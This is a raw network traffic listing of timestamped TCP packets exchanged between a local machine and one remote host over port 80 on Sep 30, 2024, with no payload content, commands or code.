Sep 30, 2024 13:59:48.041687012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041702986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041737080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041858912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041872025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041882038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041892052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041902065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041906118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041913986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041934013 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041946888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041970968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041981936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041991949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042007923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042018890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042020082 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042040110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042047024 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042056084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042067051 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042077065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042088032 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042090893 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042098045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042109013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042114019 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042119980 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042152882 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042164087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042316914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042326927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042361975 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042383909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042398930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042419910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042431116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042443991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042453051 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042460918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042470932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042480946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042504072 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042521000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042577982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042629957 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042640924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.042668104 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.042689085 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123074055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123094082 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123116016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123126984 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123137951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123148918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123176098 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123198032 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123199940 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123241901 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123245001 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123255968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123275995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123275995 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123290062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123294115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123316050 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123332977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123373985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123392105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123426914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123614073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123630047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123641014 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123651028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.123662949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123673916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.123712063 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124057055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124068975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124078989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124089003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124093056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124100924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124110937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124118090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124121904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124150038 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124160051 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124413013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124423027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124433041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124445915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124455929 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124474049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124520063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124531031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124541044 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124552011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.124564886 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.124586105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125226974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125253916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125263929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125267029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125298023 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125344992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125355959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125365973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125375986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125386000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125390053 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125402927 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125418901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125448942 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125459909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125464916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125473976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125484943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125494957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125499010 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125524044 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125541925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125566006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125576973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125586987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125597000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125607014 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125607967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125663042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125678062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.125690937 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125700951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.125729084 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126225948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126275063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126286030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126306057 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126317024 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126317024 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126339912 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126363993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126410007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126421928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126431942 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126441956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126451969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126455069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126461983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126491070 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126503944 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126532078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126542091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126552105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126562119 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126568079 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126573086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126584053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126585007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126595974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126610994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126617908 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126635075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126646042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126646996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126656055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126667023 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126676083 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126677990 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126699924 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126713037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126713991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126725912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126735926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126746893 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126760006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126761913 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126771927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126779079 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126782894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126791000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126792908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126801968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.126802921 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126821041 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.126838923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.130947113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.130992889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131006002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131020069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131052971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131057978 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131063938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131074905 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131084919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131097078 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131109953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131134987 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131309986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131324053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131333113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131344080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131356001 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131356955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131371021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131388903 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131409883 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131432056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131447077 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131462097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131470919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131537914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131537914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131613016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131623983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131633997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131644011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131648064 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131658077 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131659031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131671906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131680965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131681919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131691933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131701946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131704092 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131711960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131716967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131717920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131732941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131741047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131748915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131773949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131789923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131800890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131819963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131830931 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131831884 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131840944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131853104 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131853104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131864071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131875038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131880045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131885052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131894112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131897926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131897926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131905079 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131916046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.131927013 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.131953001 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.211862087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.211968899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.211980104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.211992025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212002993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212002039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212002039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212014914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212023973 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212029934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212049961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212053061 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212059975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212070942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212071896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212088108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212094069 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212121010 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212143898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212155104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212176085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212188005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212188005 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212199926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212208033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212234020 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212241888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212796926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212810040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212820053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212853909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212867022 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212882042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212897062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212908030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212913990 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212918997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212930918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212937117 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212954998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212981939 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.212985039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.212996006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213005066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213016033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213018894 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213027954 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213037968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213047028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213048935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213061094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213069916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213073969 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213098049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213121891 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213835001 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213857889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213867903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213910103 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213937998 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213948965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213958979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213968992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213973999 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.213979959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.213999033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214026928 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214106083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214117050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214127064 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214138031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214150906 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214160919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214163065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214173079 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214184046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214193106 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.214195013 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214204073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214232922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.214725018 CEST	80	49727	46.8.231.109	192.168.2.6
